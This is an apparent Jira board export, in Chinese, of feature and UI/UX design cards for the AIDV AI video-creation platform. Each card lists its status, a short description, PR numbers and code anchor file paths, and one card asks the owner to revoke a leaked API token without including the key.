描述： \*\*白話\*\*：劇本寫完後，一鍵自動生出對應的空白分鏡格子，省去手動建。 \*\*做什麼\*\*：`director.parseScriptIntoSegments` 輸出 -> 餵 `worldStoryboard.skeleton` (`seedStoryboardSkeleton`) 自動建立對應 script 段落的空白 frames，預填場景組成欄位。在導演台中橋接 script 與 shot 模式。 \*\*檔案證據\*\*：server/routers/worldStoryboard.ts(14 procedure)、shared/worldbuilding-animation.ts:seedStoryboardSkeleton、server/routers/director.ts:parseScriptIntoSegments \*\*驗收\*\*：導演完成劇本 -> 點「自動分鏡骨架」-> 產生與段落數一致的 frames。 \*\*依賴\*\*：director、worldStoryboard (皆 LIVE)。 \*\*建議分支\*\*：feat/i-3-script-to-s

程式碼錨點 (5)：

- client/src/shells/video/canvas/ScriptCanvas.test.tsx:3  
- client/src/shells/video/canvas/ScriptCanvas.test.tsx:68  
- client/src/shells/video/canvas/ScriptCanvas.tsx:11  
- client/src/spine/projectGateway.ts:440  
- client/src/spine/types.ts:106

## AIDV-82 I-4 教材庫 RAG -> 劇本接地

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels decision-resolved,integration,wave-i

描述： \*\*白話\*\*：用你自己上傳的教材 (療癒教學、品牌語氣) 來「接地」劇本，讓 AI 寫出符合你知識的內容。 \*\*做什麼\*\*：`teachingArchiveRag` 的檢索 (Phase 2 已建未接) 接進 `director.chat`/`refineScript`：生成劇本段落時對主題跑 `searchTeachingArchive`，把 top 結果注入精修 prompt。 \*\*檔案證據\*\*：server/routers/teachingArchive.ts(15 procedure)、server/services/teachingArchiveRag.ts、teachingArchiveSearch.ts、server/routers/director.ts \*\*驗收\*\*：開啟「以我的教材接地」-> 劇本內容引用使用者教材；可關閉。 \*\*依賴\*\*：teachingArchive Phase 2 (RAG 已建)。 \*\*建議分支\*\*：feat/i-4-teaching-rag-grounding

程式碼錨點 (4)：

- client/src/shells/video/drawers/TeachingArchiveGrounding.tsx:2  
- client/src/shells/video/drawers/TeachingArchiveGrounding.test.tsx:3  
- client/src/shells/video/drawers/TeachingArchiveGrounding.test.tsx:79  
- client/src/shells/video/DirectorConsoleProvider.tsx:43

## AIDV-83 I-5 真實地球研究面板 (功能已建但完全沒有前端)

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels decision-resolved,integration,wave-i

描述： \*\*白話\*\*：你有一個「真實地球歷史/地理資料庫」整套後端做好了，但完全沒有頁面，沒人看得到。把它變成導演的「研究階段」面板。 \*\*做什麼\*\*：`realEarth` (13 procedure，\*\*無 client 頁面\*\*) 做成導演 UI 的研究面板：對劇本主題跑 realEarth 搜尋，inline 顯示結果，使用者可「用真實歷史 X 把這段接地」。新增 `director.directorResearch` procedure。 \*\*檔案證據\*\*：server/routers/realEarth.ts(13 procedure)、server/routers/director.ts \*\*驗收\*\*：導演面板出現研究分頁；搜尋回真實參照；可注入生成上下文。 \*\*依賴\*\*：realEarth (後端 LIVE，缺 UI)。 \*\*建議分支\*\*：feat/i-5-real-earth-research-panel

程式碼錨點 (4)：

- client/src/shells/video/drawers/RealEarthResearch.tsx:2  
- client/src/shells/video/drawers/RealEarthResearch.test.tsx:3  
- client/src/shells/video/drawers/RealEarthResearch.test.tsx:83  
- client/src/shells/video/DirectorConsoleProvider.tsx:40

## AIDV-84 I-6 Creative Projects 成為影片工作流主入口

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels integration,wave-i,待議

描述： \*\*白話\*\*：現在功能散落各頁，像沒有主軸。把「專案」變成起點：新專案->選世界->開導演->自動分鏡->各工作室都帶著專案上下文。 \*\*做什麼\*\*：重設計影片創作入口，用脊椎 `ProjectsContext` (已 LIVE) 串：(1)選/建世界 (2)開導演或匯入劇本 (3)自動分鏡骨架(=I-3) (4)連到圖/影/音工作室並預載世界上下文(=I-2)。 \*\*檔案證據\*\*：server/routers/creativeProject.ts(8 procedure)、client/src/spine/ProjectSpineProvider.tsx、WorldContextContext \*\*驗收\*\*：從「新專案」一路走到生成，全程不需手動再選世界/上下文。 \*\*依賴\*\*：I-2、I-3；ENABLE\_PROJECT\_SSOT (LIVE)。 \*\*建議分支\*\*：feat/i-6-projects-as-hub

程式碼錨點 (5)：

- client/src/shells/video/console/ProjectFlowGuide.test.tsx:3  
- client/src/shells/video/console/ProjectFlowGuide.test.tsx:55  
- client/src/shells/video/console/ProjectFlowGuide.tsx:2  
- client/src/shells/video/console/StorySpineColumn.tsx:64  
- client/src/config/videoFlags.ts:70

## AIDV-85 I-7 LoRA 角色一致性閉環

故事 · 進行中 · 優先 High · 父卡 AIDV-78 · labels integration,wave-i,待議

描述： \*\*白話\*\*：你訓練過的角色 LoRA，生成那個角色時應該自動套用，確保長相一致。 \*\*做什麼\*\*：角色有 `linkedModelIds` 時，生圖自動建議/套用 LoRA -> 注入 loraUrl + loraScale 到 image 生成 prompt (與 imageStudio 參數對齊)。 \*\*檔案證據\*\*：server/routers/loraTrainer.ts(13 procedure)、worldbuilding.ts:linkableModels、imageStudio.ts \*\*驗收\*\*：生成有 LoRA 的角色 -> 自動套用且可調 scale；無 LoRA 時提示可訓練。 \*\*依賴\*\*：loraTrainer (LIVE，fal 為主，AIDV-27 已拍板)。 \*\*建議分支\*\*：feat/i-7-lora-character-loop

程式碼錨點 (4)：

- client/src/shells/video/drawers/LoraCharacters.tsx:2  
- client/src/shells/video/drawers/LoraCharacters.test.tsx:3  
- client/src/shells/video/drawers/LoraCharacters.test.tsx:44

- client/src/shells/video/DirectorConsoleProvider.tsx:44

## AIDV-86 I-8 Prompt 庫 + 收藏跨庫，生成時建議

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels decision-resolved,integration,wave-i

描述： \*\*白話\*\*：你有兩套提示詞系統（庫 + 收藏）各自獨立，使用者不知道能合用。生成時主動建議 + 可合併。  
\*\*做什麼\*\*：生成時顯示「使用提示詞庫 + 從收藏注入」，加權合併成「組合提示詞」；追蹤哪些 prompt 得到高評分->排序推薦（接 userRating 迴路 AIDV-62 H8b）。 \*\*檔案證據\*\*：server/routers/promptLibrary.ts(12 procedure)、promptCollection.ts(10 procedure)、promptAssets junction(0075)  
\*\*驗收\*\*：生成面板出現提示詞建議；可一鍵合併；use-count/評分回饋。 \*\*依賴\*\*：promptLibrary/Collection（LIVE）。  
\*\*建議分支\*\*：feat/i-8-prompt-cross-pollination

連結資料表（3）： prompt\_library, prompt\_assets, prompt\_collection

Migration 編號： 0075

程式碼錨點（4）：

- client/src/shells/video/drawers/PromptWorkbench.test.tsx:3
- client/src/shells/video/drawers/PromptWorkbench.test.tsx:70
- client/src/shells/video/drawers/PromptWorkbench.tsx:2
- client/src/shells/video/DirectorConsoleProvider.tsx:41

## AIDV-87 I-9 Sense 意圖引擎 -> 個人化 onboarding

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels integration,wave-i,待議

描述： \*\*白話\*\*：你有一個「猜使用者意圖」的引擎在後台靜默跑，但結果沒拿來用。用它來個人化引導。 \*\*做什麼\*\*：`sense.inferUserIntent`（OARS 動機式晤談分類：選擇困難/找靈感/目標導向…）的結果用來路由  
GuidedJourney／首頁推薦（選擇困難->模板庫；找靈感->Showcase；目標導向->快速開始）。 \*\*檔案證據\*\*：server/routers/sense.ts(2 procedure)、client/src/pages/Home.tsx、GuidedJourney \*\*驗收\*\*：不同意圖類型看到不同引導路徑；可在設定關閉個人化。 \*\*依賴\*\*：sense（後端 LIVE，未接 UI）；GuidedJourney（W1-8 已細修）。 \*\*建議分支\*\*：feat/i-9-sense-personalized-onboarding

程式碼錨點（5）：

- client/src/components/home/IntentOnboardingNudge.tsx:2
- client/src/components/home/IntentOnboardingNudge.test.tsx:3
- client/src/components/home/IntentOnboardingNudge.test.tsx:41
- client/src/pages/Home.tsx:116
- client/src/pages/Home.tsx:1570

## AIDV-88 Confluence MCP 連線啟用 + 頁面樹/變更紀錄/討論區補建

故事 · Backlog · 優先 High · 父卡 AIDV-55 · labels aidisc,aidisc-todo-bruce,blocked,tooling,wave-h

描述： 2026-06-13 記：本 session 嘗試連 Confluence 失敗，Bruce 指示「先備註、之後補；開了就補進去」。【現況/根因】 \* Atlassian RoVo MCP 目前只有 Jira scopes（read/write:jira-work）；Confluence 呼叫回 403「app is not installed on this instance」。 \* 改走 REST API token 也不行：本 agent 容器的 network egress 政策把所有 atlassian.com/.net 主機擋掉（github 可達、atlassian 一律 403「Host not in allowlist」）。MCP Jira 能用是因為走 Anthropic MCP 基建代理、不經容器 egress。【連上 Confluence 的兩條路（擇一，皆需 Bruce 動手）】 1. 走 MCP（Bruce 已選此路）：① 站台確認/加上 Confluence 產品（admin.atlassian.com -> Pr

PR： #866, #872, #873, #875

程式碼錨點：（碼中無 AIDV-88 註記）

## AIDV-89 [補] AIDISC 討論區（Jira 暫代 · Confluence 不可達期間）

大型工作 · 進行中 · 優先 Medium · labels aidisc

描述： \*\*這是什麼\*\*：原本的「AIDISC 討論區」住在 Confluence（[補]收件匣／參考研究／需要你動手／已結案歸檔）。目前 Confluence 連不上（見 AIDV-88），所以先在 Jira 用這個「大型工作」當臨時討論區。等 Confluence 通了，我會把這裡的內容搬回 Confluence，再把這個 Epic 收掉。 ---  
\*\*你（Bruce）怎麼用（白話）\*\* \* 有任何想交辦、想問、或想丟給我看的東西 -> 在這個 Epic 底下開一張「任務」，把話寫在描述裡，貼標籤 `aidisc-inbox`（如果是參考資料/研究就用 `aidisc-reference`）。不用管格式，寫白話就好。 \* 我每次跑 `aidv-plan status` / `sync` / 開工前，會先看這裡有沒有新卡 -> 逐張留言回覆 -> 該變成正式開發任務的，我另開卡並連結 -> 把那張卡標題前面加 `[已回覆]`、加標籤 `aidisc-replied`。  
\* 需要你親自動手的事（拍板、貼金鑰到 Railway、點授權…），我會開卡標 `aidi

程式碼錨點：（碼中無 AIDV-89 註記）

## AIDV-90 撤銷並更換已外洩的 Atlassian API token（安全 · 優先）

任務 · Backlog · 優先 Highest · 父卡 AIDV-89 · labels aidisc-todo-bruce,caution

描述： \*\*為什麼\*\*：AIDV-88 記錄到，2026-06-13 有一把 Atlassian API token 在對話中被貼出來 = 視同外洩。外洩的金鑰要立刻撤銷換新，否則任何看到的人都能讀寫你的 Jira／Confluence。 \*\*你要做（約 2 分鐘）\*\* 1. 開 https://id.atlassian.com/manage-profile/security/api-tokens 2. 找到那把舊 token -> 按 \*\*Revoke（撤銷）\*\*。 3. 之後若還需要 REST API token，再按「Create API token」開一把新的；\*\*新 token 不要貼進對話／卡片／程式碼\*\*，要用就貼到 Railway 環境變數。  
\*\*完成後\*\*：把這張卡轉「完成」。 註：本機暫存的憑證檔先前已刪、未進 git；此卡只追蹤「雲端那把 token 是否已撤銷」。本卡片不含任何金鑰內容（鐵律③）。

程式碼錨點：（碼中無 AIDV-90 註記）

## AIDV-91 U-1 設計系統落地：亮色暖光 tokens 全站套用（登入除外）

故事 · 完成 · 優先 Medium · 父卡 AIDV-74 · labels design,uiux,wave-u

描述： 把 AI Director 設計交付（rev L1, docs/4shell-handoff/AI-Director-UIUX設計）的「亮色暖光 · 黏土／珊瑚橘」設計系統落地真實 repo，全站換膚，作為 Wave U 視覺基準第一步。 範圍： \* client/src/index.css：:root shadcn 語意色 -> 亮色暖光，主強調 --primary = 黏土 #C2613F；保留 card/popover/sidebar 玻璃分層半透明結構。 \* 新增平台擴充 token（--clay/\*/--gold/\*/--teal/--ok/warn/bad/info、暖色陰影、動效、--font-serif） + @theme utility（bg-clay/text-gold…）。 \* client/index.html：載入 Fraunces / Noto Serif TC / IBM Plex Mono。 \* 登入 carve-out：.login-cosmic 重新宣告原 Zen 暖燕麥識別（見 U-3 決議）。 \* client/sr

PR：#883

程式碼錨點：（碼中無 AIDV-91 註記）

AIDV-92 U-2 設計套件元件逐殼採用（/video /social /learn /settings）

故事 · 進行中 · 優先 High · 父卡 AIDV-74 · labels uiux,wave-u

描述：把已接進 repo 的設計套件元件（ShotCard / GateCard / PromptVault / WorkflowBuilder / primitives，位於 client/src/components/design-kit/）實際接到各殼層畫面，逐頁採用亮色暖光設計系統。做法：每殼以 <AidvKit> (.aidv-kit scope) 包裝後採用元件；逐頁對照 AIDV-75 (U-0 盤點：46 頁 ↔ 卡缺口)。建議再依殼開子卡，避免與既有 W1-4/5/6/9、W4-E 重複。驗收：各殼主要畫面採用 design-kit 元件且視覺與設計稿一致；不破壞既有功能；tsc/build/lint 綠。依賴：U-1（設計系統落地，#883）。狀態：To Do。

PR：#883

程式碼錨點（73）：

- client/src/components/social/BrandKitPanel.test.tsx:3
- client/src/components/social/SocialNewsList.tsx:6
- client/src/components/social/SocialJourneyStepper.tsx:8
- client/src/components/social/SocialNewsList.test.tsx:3
- client/src/components/social/SocialNav.tsx:7
- client/src/components/social/SocialNav.test.tsx:3
- client/src/components/social/SizeExportGrid.test.tsx:3
- client/src/components/social/BrandLockBadge.tsx:6
- client/src/components/social/BrandLockBadge.test.tsx:3
- client/src/components/social/BrandKitPanel.tsx:16
- client/src/components/social/SizeExportGrid.tsx:15
- client/src/shells/settings/StatusPill.tsx:2
- client/src/shells/settings/admin/FeatureFlagsTab.tsx:22
- client/src/shells/settings/admin/DataRepairTab.tsx:18
- client/src/shells/settings/admin/FeatureFlagsTab.test.tsx:3
- client/src/shells/settings/admin/FeatureFlagsTab.test.tsx:24
- client/src/shells/settings/admin/ContentTab.tsx:19
- client/src/shells/settings/admin/ContentTab.test.tsx:3
- client/src/shells/settings/admin/ContentTab.test.tsx:21
- client/src/shells/settings/admin/UsersCreditsTab.tsx:20
- client/src/shells/settings/admin/UsersCreditsTab.test.tsx:3
- client/src/shells/settings/admin/UsersCreditsTab.test.tsx:22
- client/src/shells/settings/panels/ProviderPanel.test.tsx:3
- client/src/shells/settings/panels/ProviderPanel.test.tsx:22
- client/src/shells/settings/panels/ProviderPanel.tsx:19
- client/src/shells/settings/panels/ObservabilityPanel.test.tsx:3
- client/src/shells/settings/panels/ObservabilityPanel.tsx:18
- client/src/shells/settings/panels/AdminPanel.tsx:16
- client/src/shells/settings/panels/AgentPrefsPanel.tsx:18
- client/src/shells/settings/panels/AdminPanel.test.tsx:3
- client/src/shells/settings/panels/AdminPanel.test.tsx:26
- client/src/shells/settings/panels/GeneralSettingsPanel.test.tsx:3
- client/src/shells/settings/panels/GeneralSettingsPanel.test.tsx:23
- client/src/shells/settings/panels/GeneralSettingsPanel.tsx:21
- client/src/shells/settings/panels/AgentPrefsPanel.test.tsx:3
- client/src/shells/settings/panels/AgentPrefsPanel.test.tsx:21
- client/src/shells/settings/SettingsHome.test.tsx:3
- client/src/shells/settings/SettingsHome.test.tsx:26
- client/src/shells/settings/SettingsHome.tsx:12
- client/src/shells/settings/StatusPill.test.tsx:3

…另 33 處

AIDV-93 U-3 決議：登入畫面保留原 cosmic 場景，不套新設計系統

故事 · 完成 · 優先 Medium · 父卡 AIDV-74 · labels decision-resolved,uiux,wave-u

描述：Bruce 2026-06-14 指示：「除了登入畫面，登入用原本美美的就好了。」決議：全站套用亮色暖光設計系統時，登入畫面維持現有 cosmic 識別，不換膚。範圍 = DashboardLayout 未登入分支的 .login-cosmic 子樹（四場景動態背景 LoginCosmicScene + 登入卡 .login-card + LocalAuthForm email 表單）。落地：client/src/index.css 以 .login-cosmic carve-out 重新宣告原本 Zen 暖燕麥 shadcn 語意色（--primary/--background/--card…），讓全站換膚不波及登入。實作於 PR #883。狀態：Done（已實作於 #883）。

PR：#883

程式碼錨點：（碼中無 AIDV-93 註記）

AIDV-94 U-4 殼層 chrome 視覺實裝（脊椎：Rail/TopBar/CmdK/Toast/MobileNav…）

故事 · 完成 · 優先 High · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『01\殼層』共用 app 殼層 chrome 視覺實裝（亮色暖光）。畫面 checklist：- [ ] Rail（左 76px）：4 殼切（video/social/learn/settings）+ OrbMark->/+ 底部 CmdK + 積分 badge + 旗標 gating - [ ] TopBar（上 58px）：麵包屑（殼 emoji + serif 名）+ ProjectSwitcher pill + ProviderChip（ok/down）+ 積分（clay/bad）+ CmdK - [ ] ProjectSwitcher：collapsed pill->展開 modal；專案清單/新建；Context Packet token meter+ TTL + lock（creativeProject.list/create/get + contextPacket.compileProject）- [ ] CommandPalette CmdK：↑/↓/ /Esc 鍵盤導航；4 分組（導航/代理動作/專案/主題）；default/empty 態；角色過濾 - [

程式碼錨點（5）：

- client/src/components/DashboardLayout.tsx:874  
- client/src/shells/AidvShellChrome.tsx:2  
- client/src/shells/AidvShellChrome.test.tsx:3  
- client/src/shells/AidvShellChrome.test.tsx:33  
- client/src/config/featureFlags.ts:113

## AIDV-95 U-5 /video 六步工作流座艙視覺實裝 (含確認門 + ShotCard)

故事 · 進行中 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『shell-video/video規格 + 初剪』六步工作流座艙視覺實裝。畫面 checklist：- [ ] S1 腳本意圖 + 劇本庫 (意圖輸入 + 類型 + 既有劇本載入；引導 5 步 from-zero) - [ ] S2 StageBar 非線性導航 (world/script/storyboard/generate/finalize；done/current/todo/[注意]N；跳階驗證自動補) - [ ] S3 多模態素材 (A 生成->估算->生成->seed/provider；B 上傳；C 外部匯入 warn；四態；自動存 PromptVault) - [ ] S4 初剪打包 (時間軸 trim/配對/排序；未核准 banner；zip\_export 估算 50pt->MP4；新建 UI) - [ ] S5 確認門 GateCard (ready/partial/blocked) + ShotCard (核准/同 seed 重生/設定變更->過期重生) - [ ] S6 交付匯出 (成片卡 + 解析度/格式 + 下載 + 歸檔 + 分享展示牆) 已覆蓋：W1-9 手機版導演台

程式碼錨點 (21)：

- client/src/shells/video/StageBar.test.tsx:3  
- client/src/shells/video/StageBar.test.tsx:33  
- client/src/shells/video/panels/NotesPanel.tsx:11  
- client/src/shells/video/panels/NotesPanel.tsx:16  
- client/src/shells/video/panels/AssetsPanel.tsx:14  
- client/src/shells/video/panels/AssetsPanel.test.tsx:3  
- client/src/shells/video/panels/AssetsPanel.test.tsx:27  
- client/src/shells/video/panels/PromptsPanel.tsx:12  
- client/src/shells/video/panels/PromptsPanel.test.tsx:3  
- client/src/shells/video/panels/PromptsPanel.test.tsx:20  
- client/src/shells/video/panels/NotesPanel.test.tsx:3  
- client/src/shells/video/panels/NotesPanel.test.tsx:25  
- client/src/shells/video/panels/NotesPanel.test.tsx:56  
- client/src/shells/video/StageBar.tsx:14  
- client/src/shells/video/canvas/RoughCutCanvas.test.tsx:3  
- client/src/shells/video/canvas/RoughCutCanvas.test.tsx:36  
- client/src/shells/video/canvas/AssetGenCanvas.tsx:29  
- client/src/shells/video/canvas/RoughCutCanvas.tsx:16  
- client/src/shells/video/canvas/AssetGenCanvas.test.tsx:3  
- client/src/shells/video/canvas/AssetGenCanvas.test.tsx:48  
- client/src/config/videoFlags.ts:78

## AIDV-96 U-6 /social 九步旅程視覺實裝 (S1-S9)

故事 · 進行中 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『shell-social』九步社群創作旅程視覺實裝 (目前 /social 為 P0 placeholder，量大)。畫面 checklist：- [ ] S1 理解設計類型 (類型卡網格) - [ ] S2 五問 brief (目的/受眾/品牌聲音/關鍵訊息/視覺方向；可 AI 代寫) - [ ] S3 收集素材 (既有資產 + 上傳 + 外部熱門 orbProxy.unifiedSearch/news；授權 HOLD gate) - [ ] S4 創作 (Z-Image/FLUX/Qwen 生成 + smart compile + PromptVault 存/fork/重用 + Flow TV 牆) - [ ] S5 修改 (i2i + 區域重繪 + 成本再估 + 品牌變更過期) - [ ] S6 圖層拼接合成 (新 social.composeLayout：模板 + 圖層堆疊 + 文字編輯 + 即時比例預覽) - [ ] S7 Canva-Adobe 往返 (MCP：export->編輯->reimport；diff 審查；逾時/失敗處理) - [ ] S8 反覆修正 (品牌變更標過期 + 批次

程式碼錨點 (22)：

- client/src/components/social/BrandKitPanel.test.tsx:3  
- client/src/components/social/BrandKitPanel.test.tsx:20  
- client/src/components/social/SocialJourneyStepper.test.tsx:3  
- client/src/components/social/SocialJourneyStepper.test.tsx:16  
- client/src/components/social/SocialNewsList.tsx:6  
- client/src/components/social/SocialJourneyStepper.tsx:8  
- client/src/components/social/SocialNewsList.test.tsx:3  
- client/src/components/social/SocialNewsList.test.tsx:26  
- client/src/components/social/SocialNav.tsx:7  
- client/src/components/social/SocialNav.test.tsx:3  
- client/src/components/social/SocialNav.test.tsx:27  
- client/src/components/social/SizeExportGrid.test.tsx:3  
- client/src/components/social/SizeExportGrid.test.tsx:23  
- client/src/components/social/BrandLockBadge.tsx:6  
- client/src/components/social/BrandLockBadge.test.tsx:3  
- client/src/components/social/BrandLockBadge.test.tsx:19  
- client/src/components/social/BrandKitPanel.tsx:16  
- client/src/components/social/BrandKitPanel.tsx:33  
- client/src/components/social/SizeExportGrid.tsx:15  
- client/src/components/social/SizeExportGrid.tsx:50  
- client/src/social/socialFlags.ts:4  
- client/src/pages/social/SocialCockpitPage.tsx:88

## AIDV-97 U-7 /learn 學習中心視覺實裝 (模型瀏覽/研究代理/API 金鑰)

故事 · 完成 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『shell-learn』學習中心視覺實裝。畫面 checklist：- [ ] 模型情報瀏覽器 (115 模型卡 + 統計卡 + 篩選/搜尋 + 詳情 modal + 五腦指派矩陣 Calm/Creative/Technical×5) - [ ] 學習中心 (80 文章/6 類 + 分類籤 + 搜尋 + 文章 modal + 存筆記) - [ ] 積分用量 (餘額 + 歷史圖 + 分模型/studio 拆解 + 團隊摘要 + <120 低額 banner) - [ ] 情報新聞 (orbProxy.news 動態 + 分類籤 + 來源 + 存研究 + 熱門帶入 social brief) - [ ] 研究代理 + 知識存庫 (查詢 + Sonar/Brave 引用清單 + 存知識庫 + 重用到 prompt) - [ ] API 金鑰 + BYOMCP (金鑰清單/狀態 + 新建/刪除/測試連線 + BYOMCP 開關/設定) 已覆蓋：W1-5 單模型遊樂場目錄頁 (AIDV-38, Done) 路徑：client/src/shells/learn/ (LearnHome 6 籤 + 既有 deep pages) 量級：L 依賴：U-1 (AI

程式碼錨點 (6)：

- client/src/shells/learn/LearnHome.test.tsx:3
- client/src/shells/learn/LearnHome.test.tsx:26
- client/src/shells/learn/panels/ApiKeysPanel.tsx:18
- client/src/shells/learn/panels/ApiKeysPanel.test.tsx:3
- client/src/shells/learn/panels/ApiKeysPanel.test.tsx:18
- client/src/shells/learn/LearnHome.tsx:12

## AIDV-98 U-8 /settings 設定視覺實裝 (一般/Provider/代理/觀測/Admin RBAC)

故事 · 完成 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『shell-settings』設定視覺實裝。畫面 checklist：- [ ] 一般 (外觀 light/dark/auto + 通知 + 語言 + 帳號/2FA + 登出/刪帳) - [ ] 生成 Provider (hf/gemini/fal/mock 卡選 + 測試連線 + fallback 鏈 + 故障注入 demo + down banner) - [ ] 代理偏好 (人格 Calm/Creative/Technical + 六腦指派 Claude×Sonar×SubQ×Gemini×HF×Pro + 近期活動) - [ ] 觀測 (LangSmith 狀態唯讀 + 系統總覽 admin + 背景任務表 retry/cancel) - [ ] Admin RBAC (容器 + 5 子頁)：使用者·積分／內容審核／功能旗標／資料修復 (M1 placeholder)／稽核日誌；useRole 守門 已覆蓋：W1-6 per-引擎設定面板 (AIDV-39, Done) 路徑：client/src/shells/settings/ (SettingsHome 4–5 籤 + 既有 deep pa

程式碼錨點 (3)：

- client/src/shells/settings/panels/ObservabilityPanel.test.tsx:3
- client/src/shells/settings/panels/ObservabilityPanel.test.tsx:22
- client/src/shells/settings/panels/ObservabilityPanel.tsx:18

## AIDV-99 U-9 共用 PromptVault 「生成->存庫->重用」採用 (跨 /video /social)

故事 · 進行中 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：把 design-kit PromptVault 模式 (SaveToVault / VaultBrowser / PromptCard) 接到真實後端，跨 /video /social 共用。畫面 checklist：- [ ] SaveToVault (生成結果旁存庫 + auto-draft 切換 + saving/saved/error/duplicate 態) -> promptLibrary.create - [ ] VaultBrowser (empty/loading/error/ready + 搜尋 + regen/insert/fork) -> 讀提示詞庫 + digital\_asset\_library - [ ] 重用：再生成/插入素材/fork 編輯；記 generate.recordGenResult (持久化錨點已確認真實存在) 已覆蓋：— (元件已於 #883 接進 client/src/components/design-kit/PromptVault.tsx，本卡為接線) 路徑：client/src/components/design-kit/Pr

PR：#883

連結資料表 (2)：digital\_asset\_library, prompt\_library

程式碼錨點 (4)：

- client/src/shells/video/panels/VaultBrowserPanel.tsx:2
- client/src/shells/video/panels/VaultBrowserPanel.test.tsx:3
- client/src/shells/video/panels/VaultBrowserPanel.test.tsx:43
- client/src/shells/video/panels/PromptsPanel.tsx:18

## AIDV-100 I-6 Phase 2b 世界自動連結 (嚮導世界步可選並連結世界)

故事 · 完成 · 優先 Medium · 父卡 AIDV-78 · labels integration,wave-i,workflow-pilot

描述：\*\*首張照《AIDV 開發工作流 (工作表 SOP) 》跑的卡\*\* (docs/plan/AIDV-dev-workflow.md)。承接 AIDV-84 (I-6) Phase 2b。### 工作表 — I-6 Phase 2b 世界自動連結 \* \*\*進站來源\*\*：Bruce 指示「選 A、照工作表流程」。\* \*\*北極星對位\*\*：補上創作流程嚮導的第一步「世界觀」——讓「新專案->連世界-> (自動帶風格/角色一致性)」可一鍵走通，是 logline->成片的起點。\* \*\*範圍\*\*：嚮導「世界觀」步 (目前唯狀態) 改為可\*\*選世界->連結\*\*；連結後該步打勾、世界上下文 (I-2 風格) 即可帶入後續。\* \*\*重用既有 (零新後端)\*\*：`creativeProject.link` (已能設 worldFrameworkId) + `worldbuilding.list` (列使用者世界清單) + `creativeProject.get` 回傳 worldFrameworkName。\* \*\*不新增後端 procedure。\* \* \*檔案\*\*：client `spi

PR：#882

程式碼錨點 (8)：

- client/src/shells/video/console/WorldLinkPicker.tsx:2
- client/src/shells/video/console/ProjectFlowGuide.tsx:144
- client/src/shells/video/console/WorldLinkPicker.test.tsx:3
- client/src/shells/video/console/WorldLinkPicker.test.tsx:30
- client/src/spine/ProjectSpineProvider.tsx:73
- client/src/spine/ProjectSpineProvider.tsx:445
- client/src/spine/projectGateway.ts:102
- client/src/spine/projectGateway.ts:311

## AIDV-101 U-10 設計系統 51 元件庫補齊 (chrome/cockpit/shell-specific/state)

故事 · 完成 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『00\\_設計系統』51 元件中，design-kit 目前含約 10 個 (primitives 10 + ShotCard/GateCard/PromptVault/WorkflowBuilder)；補齊其餘以供逐殼採用。範圍 checklist：- [ ] Chrome 8：Rail/TopBar/ProjectSwitcher/CommandPalette/Toast/MobileNav/ProviderChip/StateInspector (與 U-4 共用，元件層在此) - [ ] Cockpit 14：StageBar/ContextSource/ChatBubble/PersonaSwitch/CharacterCard/MemoryDBTabs/PromptBlock… (GateCard/ShotCard 已有) - [ ] Shell-specific

13 : ModelCard/TemplateCard/ExportRatioCard/SubTabs/ProviderOption/SettingRow/AdminUser

程式碼錨點 (12) :

- client/src/components/design-kit/shellkit.test.tsx:3
- client/src/components/design-kit/shellkit.test.tsx:12
- client/src/components/design-kit/shellkit.test.tsx:1
- client/src/components/design-kit/states.test.tsx:3
- client/src/components/design-kit/states.test.tsx:12
- client/src/components/design-kit/states.test.tsx:2
- client/src/components/design-kit/cockpit.test.tsx:1
- client/src/components/design-kit/chrome.test.tsx:1
- client/src/components/design-kit/cockpit.test.tsx:3
- client/src/components/design-kit/cockpit.test.tsx:13
- client/src/components/design-kit/chrome.test.tsx:3
- client/src/components/design-kit/chrome.test.tsx:23

## AIDV-102 [進行] AIDV 開放工作流程 (看板作業 SOP · 單一作業面)

大型工作 · 進行中 · 優先 High · labels aidisc,workflow

描述 : > \*\*這張卡是什麼\*\* : AIDV 看板「每一張卡怎麼從想法走到合併」的單一作業流程 (鏡像 repo `docs/plan/AIDV-dev-workflow.md`)。任何開發都要照這條工作流程跑,不跳關。 \*\*白話\*\* : 把模糊的「做事方式」釘成一條看得見的流水線,誰來做都一樣。 -- ## 1. 看板四欄 ↔ 九階流水線對照 本看板目前用 Jira 預設四欄,已替每一欄賦予明確語意 : | 看板欄位 (狀態) | 對應流水線階段 | 白話 : 卡放這裡代表 | | -- | -- | -- | | \*\*Backlog (待辦)\*\* | 階0 進站 · 階1 範圍設計 | 還沒輪到 / 正在勘察與填工作表 | | \*\*Selected for Development (已選取待開發 = 就緒)\*\* | 設計門通過、排進「下一棒」 | 設計門過了、隨時可開工 (取代過去這欄沒人用) | | \*\*進行中\*\* | 階2 開發 · 階3 驗證 · 階6 審查 | 正在寫碼 / 跑驗證 / 改審查意見 | | \*\*完成\*\* | 階8 合併收尾 | PR 已合併、Bruce 已按

程式碼錨點 : (碼中無 AIDV-102 註記)

## AIDV-103 UI/UX 一致性 : ui-ux-pro-max 設計智庫接入 AIDV 工作流 (設計門 / 驗證門)

故事 · 進行中 · 優先 High · 父卡 AIDV-74 · labels ui-ux,workflow

